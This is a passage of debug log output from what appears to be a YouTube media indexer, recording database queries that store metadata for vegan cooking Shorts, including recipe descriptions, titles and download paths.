cream, green onions or cilantro and enjoy!", "Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨", 1, 15, false, "BGooNV_qtCw", "https://www.youtube.com/shorts/BGooNV_qtCw", "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨/Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨 [BGooNV_qtCw].NA", true, ~U[2022-06-06 01:00:07Z]] 20:31:10.880 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.882 [debug] QUERY OK source="media_items" db=1.7ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-05 19:00:24Z], 1] 20:31:10.884 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POV: You're newly vegan and asking God how you'll ever survive without eggs 😳\n\nSee all my vegan food hacks here! ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\nKala Namak is your vegan egg HACK! 🥚 Kala Namak aka Black Salt has a strong sulphuric smell and taste (much like how cooked eggs smell) and is one of the most popular vegan tricks for making your food taste eggy! Add a tsp to your tofu scramble as it cooks plus a dash of turmeric spice for that similar eggy colour and BOOM - you've got yourself delicious vegan eggies :) \n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Vegan egg hack? Use KALA NAMAK! 🍳", "b6c95883-091d-4971-9bd2-f5f66671f13b", 1, [], 34, false, "jtmTHY2zkBg", "https://www.youtube.com/shorts/jtmTHY2zkBg", 397, "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Vegan egg hack? Use KALA NAMAK! 🍳/Vegan egg hack? Use KALA NAMAK! 🍳 [jtmTHY2zkBg].NA", false, false, true, 2, ~U[2022-06-05 19:00:24Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "POV: You're newly vegan and asking God how you'll ever survive without eggs 😳\n\nSee all my vegan food hacks here! ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\nKala Namak is your vegan egg HACK! 🥚 Kala Namak aka Black Salt has a strong sulphuric smell and taste (much like how cooked eggs smell) and is one of the most popular vegan tricks for making your food taste eggy! Add a tsp to your tofu scramble as it cooks plus a dash of turmeric spice for that similar eggy colour and BOOM - you've got yourself delicious vegan eggies :) \n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Vegan egg hack? Use KALA NAMAK! 🍳", 1, 34, false, "jtmTHY2zkBg", "https://www.youtube.com/shorts/jtmTHY2zkBg", "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Vegan egg hack? Use KALA NAMAK! 🍳/Vegan egg hack? Use KALA NAMAK! 🍳 [jtmTHY2zkBg].NA", true, ~U[2022-06-05 19:00:24Z]] 20:31:10.885 [debug] QUERY OK source="sources" db=0.6ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.887 [debug] QUERY OK source="media_items" db=1.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-05 01:53:35Z], 1] 20:31:10.889 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Easy Veggie + Potato 🥔 Salad featuring rescued veg from my fave @pekoproduce! 💚🌱\n\nI had some Peko-taters that needed using up SOOO potato salad it is! This comes together real quick, it’s nutritious AND quite yummy. A perfect summer side dish ☀️\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS 👇🏻\n4 medium russet potatos, cubed into small chunks and boiled until fork tender\n1/2 block firm tofu, pressed\n1/2 cup green soy beans (edamame)\n2 stalks celery, finely diced\n1/2 medium yellow onion, finely diced\n3 green onions, finely diced\n1/2 red bell pepper, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard \n1/4 cup sweet green relish\n1.5 tsp smoked paprika\n1 tsp liquid smoke\nSalt and pepper to taste\n\nIn a large bowl, combine the boiled potato (make sure it’s cool to the touch), edamame and all the veggies and crumble in the tofu with your hands. Add the mayo, mustard, relish, paprika, liquid smoke and salt and pepper and stir thoroughly to combine.\n\nGarnish with extra paprika if you like and serve with your fave BBQ foods! 🌱\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my bio for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗", "13613661-3a68-4b7e-bdfc-e479a97d6f1f", 1, [], 11, false, "DMSvtMzLmdk", "https://www.youtube.com/shorts/DMSvtMzLmdk", 398, "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗/Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗 [DMSvtMzLmdk].NA", false, false, true, 2, ~U[2022-06-05 01:53:35Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Easy Veggie + Potato 🥔 Salad featuring rescued veg from my fave @pekoproduce! 💚🌱\n\nI had some Peko-taters that needed using up SOOO potato salad it is! This comes together real quick, it’s nutritious AND quite yummy. A perfect summer side dish ☀️\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS 👇🏻\n4 medium russet potatos, cubed into small chunks and boiled until fork tender\n1/2 block firm tofu, pressed\n1/2 cup green soy beans (edamame)\n2 stalks celery, finely diced\n1/2 medium yellow onion, finely diced\n3 green onions, finely diced\n1/2 red bell pepper, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard \n1/4 cup sweet green relish\n1.5 tsp smoked paprika\n1 tsp liquid smoke\nSalt and pepper to taste\n\nIn a large bowl, combine the boiled potato (make sure it’s cool to the touch), edamame and all the veggies and crumble in the tofu with your hands. Add the mayo, mustard, relish, paprika, liquid smoke and salt and pepper and stir thoroughly to combine.\n\nGarnish with extra paprika if you like and serve with your fave BBQ foods! 🌱\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my bio for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗", 1, 11, false, "DMSvtMzLmdk", "https://www.youtube.com/shorts/DMSvtMzLmdk", "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗/Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗 [DMSvtMzLmdk].NA", true, ~U[2022-06-05 01:53:35Z]] 20:31:10.891 [debug] QUERY OK source="sources" db=1.6ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.895 [debug] QUERY OK source="media_items" db=3.0ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-04 19:00:03Z], 1] 20:31:10.898 [debug] QUERY OK source="media_items" db=1.4ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Need more food hacks? Watch my TOP 10 FOOD HACKS video ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\n\n\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰", "59178322-1600-412d-82d0-b7b4f158baab", 1, [], 45, false, "9zmbfbfMuo8", "https://www.youtube.com/shorts/9zmbfbfMuo8", 399, "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰/Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰 [9zmbfbfMuo8].NA", false, false, true, 2, ~U[2022-06-04 19:00:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Need more food hacks? Watch my TOP 10 FOOD HACKS video ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\n\n\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰", 1, 45, false, "9zmbfbfMuo8", "https://www.youtube.com/shorts/9zmbfbfMuo8", "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰/Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰 [9zmbfbfMuo8].NA", true, ~U[2022-06-04 19:00:03Z]] 20:31:10.899 [debug] QUERY OK source="sources" db=0.7ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.901 [debug] QUERY OK source="media_items" db=2.1ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-04 14:55:07Z], 1] 20:31:10.903 [debug] QUERY OK source="media_items" db=1.9ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BROCCOLI CHICKPEA SALAD // wholesome, filling and so fresh! 🌱 Perfect for an easy healthy lunch.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\n1 can of chickpeas, drained and rinsed\n1 small crown of broccoli, finely chopped\n1 stalk of celery, finely diced\n2 green onions, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard\n1 tsp garlic powder\n2 tbsp lemon juice\n1/2 tsp salt\nPepper to taste\n\nTo a large bowl, add the chickpeas and mash with a fork to your liking — add all remaining ingredients and stir thoroughly to combine — eat this delicious salad on it’s own, in a sandwich, wrap or on top of a bed of greens, or however the heck else you please!\n\nFollow @steamyvegankitchen for more easy peasy vegan recipes like this! 😍\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #feedfeedvegan \nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193", "Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩", "fa60bbf5-6dee-4b2b-8c26-ea6bee8f4a47", 1, [], 11, false, "DPLgtVmD9gQ", "https://www.youtube.com/shorts/DPLgtVmD9gQ", 400, "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩/Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩 [DPLgtVmD9gQ].NA", false, false, true, 2, ~U[2022-06-04 14:55:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "BROCCOLI CHICKPEA SALAD // wholesome, filling and so fresh! 🌱 Perfect for an easy healthy lunch.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\n1 can of chickpeas, drained and rinsed\n1 small crown of broccoli, finely chopped\n1 stalk of celery, finely diced\n2 green onions, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard\n1 tsp garlic powder\n2 tbsp lemon juice\n1/2 tsp salt\nPepper to taste\n\nTo a large bowl, add the chickpeas and mash with a fork to your liking — add all remaining ingredients and stir thoroughly to combine — eat this delicious salad on it’s own, in a sandwich, wrap or on top of a bed of greens, or however the heck else you please!\n\nFollow @steamyvegankitchen for more easy peasy vegan recipes like this! 😍\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #feedfeedvegan \nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193", "Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩", 1, 11, false, "DPLgtVmD9gQ", "https://www.youtube.com/shorts/DPLgtVmD9gQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩/Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩 [DPLgtVmD9gQ].NA", true, ~U[2022-06-04 14:55:07Z]] 20:31:10.905 [debug] QUERY OK source="sources" db=0.9ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.907 [debug] QUERY OK source="media_items" db=2.0ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-03 18:00:15Z], 1] 20:31:10.908 [debug] QUERY OK source="media_items" db=0.8ms idle=8.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pie so good your eyes will start drooling", "d016ecad-3fd8-4f8f-9be5-8de69ac5ed0f", 1, [], 14, false, "uxXV1DJ8tTw", "https://www.youtube.com/shorts/uxXV1DJ8tTw", 401, "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Pie so good your eyes will start drooling/Pie so good your eyes will start drooling [uxXV1DJ8tTw].NA", false, false, true, 2, ~U[2022-06-03 18:00:15Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Pie so good your eyes will start drooling", 1, 14, false, "uxXV1DJ8tTw", "https://www.youtube.com/shorts/uxXV1DJ8tTw", "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Pie so good your eyes will start drooling/Pie so good your eyes will start drooling [uxXV1DJ8tTw].NA", true, ~U[2022-06-03 18:00:15Z]] 20:31:10.909 [debug] QUERY OK source="sources" db=0.4ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.911 [debug] QUERY OK source="media_items" db=1.7ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-03 14:49:04Z], 1] 20:31:10.912 [debug] QUERY OK source="media_items" db=0.7ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Strawberry Rhubarb Pie season is upon us! Let's make it vegan and gluten-free! Pie crust recipe is in a previous YouTube Short (https://youtube.com/shorts/w0twf3Zv7rs?feature=share), or go check out the full video below! ⬇️\nSTRAWBERRY RHUBARB PIE: https://youtu.be/42Ra2CeeUM8\n\nWant more steamy recipes? Head to my blog: ⬇️\nhttps://steamyvegankitchen.com\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱", "8904e8b7-203f-4621-af53-fdb966e835b6", 1, [], 60, false, "NeeSEEam7B4", "https://www.youtube.com/shorts/NeeSEEam7B4", 402, "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱/Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱 [NeeSEEam7B4].NA", false, false, true, 2, ~U[2022-06-03 14:49:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Strawberry Rhubarb Pie season is upon us! Let's make it vegan and gluten-free! Pie crust recipe is in a previous YouTube Short (https://youtube.com/shorts/w0twf3Zv7rs?feature=share), or go check out the full video below! ⬇️\nSTRAWBERRY RHUBARB PIE: https://youtu.be/42Ra2CeeUM8\n\nWant more steamy recipes? Head to my blog: ⬇️\nhttps://steamyvegankitchen.com\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱", 1, 60, false, "NeeSEEam7B4", "https://www.youtube.com/shorts/NeeSEEam7B4", "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱/Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱 [NeeSEEam7B4].NA", true, ~U[2022-06-03 14:49:04Z]] 20:31:10.913 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.916 [debug] QUERY OK source="media_items" db=2.8ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 23:21:22Z], 1] 20:31:10.918 [debug] QUERY OK source="media_items" db=1.1ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've always loved watching bloopers of my favourite shows and movies. They're the best when it's not you doing them. Enjoy a few of the many bloopers I have to offer!\n\nIf you're interested in plant-based and gluten free recipes then you'll want to subscribe to my channel. Or if you just want a few laughs every once in awhile then you might also enjoy watching some of my content! Thanks for your support!!!", "Aren’t bloopers just the wors— I mean, best? 🫠", "d840d00d-75c4-4d00-bc5e-5ed6f132f41e", 1, [], 13, false, "HikNRQnsXXw", "https://www.youtube.com/shorts/HikNRQnsXXw", 403, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Aren’t bloopers just the wors— I mean, best? 🫠/Aren’t bloopers just the wors— I mean, best? 🫠 [HikNRQnsXXw].NA", false, false, true, 3, ~U[2022-06-02 23:21:22Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I've always loved watching bloopers of my favourite shows and movies. They're the best when it's not you doing them. Enjoy a few of the many bloopers I have to offer!\n\nIf you're interested in plant-based and gluten free recipes then you'll want to subscribe to my channel. Or if you just want a few laughs every once in awhile then you might also enjoy watching some of my content! Thanks for your support!!!", "Aren’t bloopers just the wors— I mean, best? 🫠", 1, 13, false, "HikNRQnsXXw", "https://www.youtube.com/shorts/HikNRQnsXXw", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Aren’t bloopers just the wors— I mean, best? 🫠/Aren’t bloopers just the wors— I mean, best? 🫠 [HikNRQnsXXw].NA", true, ~U[2022-06-02 23:21:22Z]] 20:31:10.919 [debug] QUERY OK source="sources" db=0.8ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.922 [debug] QUERY OK source="media_items" db=2.0ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 16:00:13Z], 1] 20:31:10.924 [debug] QUERY OK source="media_items" db=1.3ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The infamous pie scene with Jason Biggs and Eugene Levy remastered with my strawberry rhubarb pie, which you see the recipe for below. If you were a teenage in 1999 then you'll remember this scene vividly. I hope you remember my pie the same way, but please don't do what Jim did to his pie, it's better eaten.\n\nFull recipe video: https://youtu.be/42Ra2CeeUM8", "What does 3rd base feel like? (American Pie Clip - If ya know, ya know)", "c9565ae6-75da-4ddb-8714-f47187e19f52", 1, [], 15, false, "FHj5mPI1QXk", "https://www.youtube.com/shorts/FHj5mPI1QXk", 404, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 What does 3rd base feel like? (American Pie Clip - If ya know, ya know)/What does 3rd base feel like? (American Pie Clip - If ya know, ya know) [FHj5mPI1QXk].NA", false, false, true, 3, ~U[2022-06-02 16:00:13Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "The infamous pie scene with Jason Biggs and Eugene Levy remastered with my strawberry 